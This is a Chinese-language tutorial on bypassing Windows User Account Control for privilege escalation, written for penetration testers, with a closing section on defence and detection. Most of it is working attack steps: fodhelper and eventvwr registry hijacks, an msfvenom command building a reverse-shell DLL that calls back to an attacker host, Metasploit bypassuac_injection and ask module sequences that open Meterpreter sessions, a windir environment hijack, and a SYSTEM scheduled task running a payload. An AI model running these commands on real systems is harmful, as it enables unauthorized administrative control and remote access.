Windows bypassUAC 提权技法详解(一)
引言
用户账户控制(User Account Control, 简称 UAC)是微软自 Windows Vista 起引入的一项安全功能,旨在通过要求用户在执行需要管理员权限的操作时进行确认,从而防止未经授权的系统更改。UAC 的设计初衷是提高系统安全性,防止恶意软件在未经用户许可的情况下篡改系统配置、安装软件或执行高权限操作。然而,对于安全研究人员、渗透测试人员来说,UAC 的存在可能成为权限提升过程中的一道障碍。因此,绕过 UAC(UAC Bypass)成为 Windows 权限提升领域的一个重要研究方向。
本文将详细探讨 Windows UAC 的工作原理、不同权限级别下管理员账户的行为,以及多种 UAC 绕过技术的实现方法和适用场景。
一、UAC 的工作原理与权限级别
1.1 UAC 的核心机制
UAC 的核心是通过强制执行权限分离和用户交互来限制未经授权的操作。当用户尝试执行需要管理员权限的操作(如修改系统文件、安装软件或运行特定管理工具)时,UAC 会触发以下行为:
- 权限验证:UAC 检查当前用户的权限级别。如果用户是普通用户,会要求输入管理员凭据;如果是 Administrators 组成员,则会弹出确认提示。
- 完整性级别(Integrity Level):Windows 使用完整性级别(Low、Medium、High)来区分进程的权限。普通进程默认运行在 Medium 完整性级别,而需要管理员权限的进程则运行在 High 完整性级别。UAC 确保只有通过验证的进程才能提升至 High 完整性级别。
- 自动提升(Auto-Elevation):某些微软签名的可执行文件(如
fodhelper.exe
、eventvwr.exe
)被标记为“自动提升”,可以在特定条件下无需 UAC 提示直接运行在 High 完整性级别。这些特性常被 UAC 绕过技术利用。
1.2 UAC 的设置级别
UAC 的行为受系统设置影响,Windows 提供了四种 UAC 级别:
- 始终通知(Always Notify):最高级别,任何需要管理员权限的操作都会触发 UAC 提示,即使是 Administrators 组用户也需要确认。
- 仅在程序尝试更改计算机时通知(默认设置):仅在非微软签名的程序尝试执行高权限操作时提示,适用于大多数 Administrators 组用户。
- 仅在程序尝试更改计算机时通知(不调暗桌面):与默认设置类似,但不切换到安全桌面,安全性稍低。
- 从不通知(Never Notify):关闭 UAC,Administrators 组用户无需确认即可运行高权限操作,但仍需手动触发“以管理员身份运行”。
1.3 500 管理员账户与 Administrators 组用户
在 Windows 系统中,管理员账户分为两类:
-
500 管理员账户(内置 Administrator):这是 Windows 系统默认的内置管理员账户(SID 以
S-1-5-21-*-500
结尾)。当 UAC 启用时,该账户在“从不通知”模式下可以直接以 High 完整性级别运行进程,无需 UAC 提示。通过工具如psexec.exe
,500 管理员账户可以直接提升至 SYSTEM 权限。例如:psexec.exe -i -accepteula -s cmd.exe
上述命令使用
psexec.exe
启动一个 SYSTEM 权限的命令提示符。 -
Administrators 组用户:这些用户是 Administrators 组的成员,但受 UAC 管控。在默认或更高 UAC 设置下,运行高权限操作时会触发 UAC 提示。绕过 UAC 是此类用户提权的关键。
二、UAC 绕过技术的分类与实现
UAC 绕过技术通常利用 Windows 系统中的漏洞、可信执行路径或社会工程学手段来实现权限提升。以下是常见的 UAC 绕过方法,结合具体实现和适用场景进行分析。
2.1 自动提升可执行文件(Auto-Elevated Binaries)
许多 Windows 自带的可执行文件被标记为“自动提升”,可以在特定条件下无需 UAC 提示直接运行在 High 完整性级别。攻击者通过修改这些文件的执行路径或注册表配置,诱导系统执行恶意代码。常见的目标包括 fodhelper.exe
、eventvwr.exe
和 sdclt.exe
。
2.1.1 Fodhelper 绕过
fodhelper.exe
是一个用于管理 Windows 可选功能的工具,具备自动提升特性。攻击者可以通过修改注册表,劫持其执行路径以运行自定义命令。以下是一个典型的手动实现步骤:
-
检查权限:
whoami /all
确认当前用户在 Administrators 组且处于 Medium 完整性级别。
-
修改注册表:
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd.exe /c start powershell.exe" Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value ""
-
触发执行:
Start-Process fodhelper.exe
此方法通过注册表劫持 ms-settings
的默认打开命令,使得 fodhelper.exe
执行时启动 cmd.exe
或其他恶意 payload,从而获得 High 完整性级别的进程。
2.1.2 Eventvwr 绕过
eventvwr.exe
(事件查看器)是另一个自动提升的可执行文件,可通过修改注册表中的 mscfile
键来执行恶意命令。实现步骤如下:
-
确认自动提升特性:
strings64.exe -accepteula C:\Windows\System32\eventvwr.exe | findstr /i autoelevate
验证
eventvwr.exe
是否支持自动提升(结果应包含true
)。 -
修改注册表:
reg add "HKCU\Software\Classes\mscfile\shell\open\command" /t REG_SZ /d "cmd.exe /c start C:\Path\To\payload.exe" /f
-
执行触发:
eventvwr.exe
完成后,eventvwr.exe
会启动指定的 payload.exe
,获得高权限 shell。
2.2 DLL 劫持(DLL Hijacking)
DLL 劫持利用 Windows 的 DLL 加载顺序,诱导自动提升的程序加载恶意 DLL 文件,从而执行高权限代码。以下是一个典型案例:
-
寻找目标程序:
找到一个自动提升的程序(如fodhelper.exe
)并检查其依赖的 DLL 文件。例如,使用Process Monitor
观察程序加载的 DLL。 -
创建恶意 DLL:
使用工具如 MSFvenom 生成恶意 DLL:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o malicious.dll
-
放置恶意 DLL:
将malicious.dll
放置在目标程序的搜索路径中(例如C:\Windows\System32
的可写子目录)。 -
触发执行:
运行目标程序,加载恶意 DLL,从而获得高权限 shell。
DLL 劫持的优点是隐蔽性强,但需要目标程序存在 DLL 加载漏洞,且在高 UAC 级别(如“始终通知”)下可能失效。
2.3 环境变量操纵
通过修改环境变量(如 PATH
或 windir
),攻击者可以重定向可信程序的执行路径。例如,修改 windir
环境变量以指向伪造的系统目录:
-
修改环境变量:
set windir=C:\Malicious
-
放置恶意文件:
在C:\Malicious\System32
中放置伪造的cmd.exe
或其他可执行文件。 -
触发可信程序:
运行一个依赖windir
的自动提升程序(如CDSSync
任务),诱导其加载恶意文件。
此方法在非“始终通知”级别下有效,但在高安全设置下可能被检测。
2.4 Metasploit 的 UAC 绕过模块
Metasploit 提供了多个 UAC 绕过模块,简化了提权过程。以下是两个常用模块的介绍:
2.4.1 exploit/windows/local/bypassuac_injection
此模块利用可信发布者证书通过进程注入绕过 UAC,生成一个无 UAC 提示的高权限 shell。使用步骤:
-
启动 Meterpreter 会话:
msfconsole use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4444 exploit
-
使用 bypassuac_injection 模块:
use exploit/windows/local/bypassuac_injection set SESSION 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4445 exploit
-
结果:
模块会注入恶意代码到自动提升的进程中,生成一个高权限的 Meterpreter 会话。
2.4.2 exploit/windows/local/ask
在“始终通知”级别下,UAC 绕过变得困难,ask
模块通过社会工程学诱导用户点击 UAC 提示来提权。使用步骤:
-
启动 Meterpreter 会话(同上)。
-
使用 ask 模块:
use exploit/windows/local/ask set SESSION 1 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.100 set LPORT 4446 exploit
-
诱导用户交互:
模块会触发 UAC 提示,伪装为合法操作(如系统更新),诱导目标点击“确认”。
此方法依赖用户交互,适用于社会工程学场景,但成功率受目标警惕性影响。
三、不同 UAC 设置下的适用策略
3.1 非“始终通知”级别
在默认或较低 UAC 设置下,Administrators 组用户可以通过以下方法绕过 UAC:
- 自动提升可执行文件:如
fodhelper.exe
、eventvwr.exe
等,利用注册表劫持快速提权。 - DLL 劫持:利用 DLL 加载顺序漏洞,隐蔽性较高。
- Metasploit 模块:
bypassuac_injection
等模块提供自动化提权方案。 - 环境变量操纵:通过修改
windir
或PATH
实现路径重定向。
3.2 “始终通知”级别
在最高 UAC 级别下,绕过 UAC 通常需要用户交互,推荐策略包括:
- Metasploit
ask
模块:通过伪装合法提示诱导用户确认。 - 社会工程学:利用伪装的更新提示或钓鱼邮件诱导用户点击 UAC 提示。
- 计划任务:创建高权限计划任务,绕过 UAC 提示:
schtasks /create /tn "MaliciousTask" /tr "C:\Path\To\payload.exe" /sc once /st 00:00 /ru SYSTEM schtasks /run /tn "MaliciousTask"
四、防御与检测 UAC 绕过
4.1 防御措施
- 启用“始终通知”级别:确保所有高权限操作都需要用户确认。
- 限制 Administrators 组成员:减少非必要管理员账户,降低提权风险。
- 监控注册表更改:关注
HKCU\Software\Classes
和环境变量相关键的修改。 - 使用安全软件:部署 EDR(如 Elastic Endpoint)检测 DLL 劫持和异常进程行为。
4.2 检测方法
-
EQL 查询:
使用 Elastic Query Language(EQL)检测 DLL 劫持:sequence by host.id [file where event.action in ("creation", "overwrite", "rename", "modification") and process.name : "dllhost.exe"] [library where user.id : "S-1-5-18" and not (dll.code_signature.subject_name : "Microsoft *")]
-
监控自动提升进程:
检查fodhelper.exe
、eventvwr.exe
等进程的异常子进程创建。 -
日志分析:
分析事件日志中的 UAC 相关条目,检测异常的权限提升行为。
五、总结
Windows UAC 绕过技术是权限提升领域的重要研究方向,对于安全研究和渗透测试具有重要意义。500 管理员账户在“从不通知”模式下可以直接提权至 SYSTEM,而 Administrators 组用户则需根据 UAC 设置选择合适的绕过方法。在非“始终通知”级别下,自动提升可执行文件、DLL 劫持和环境变量操纵是主流技术;在最高 UAC 级别下,社会工程学和 ask
模块成为主要手段。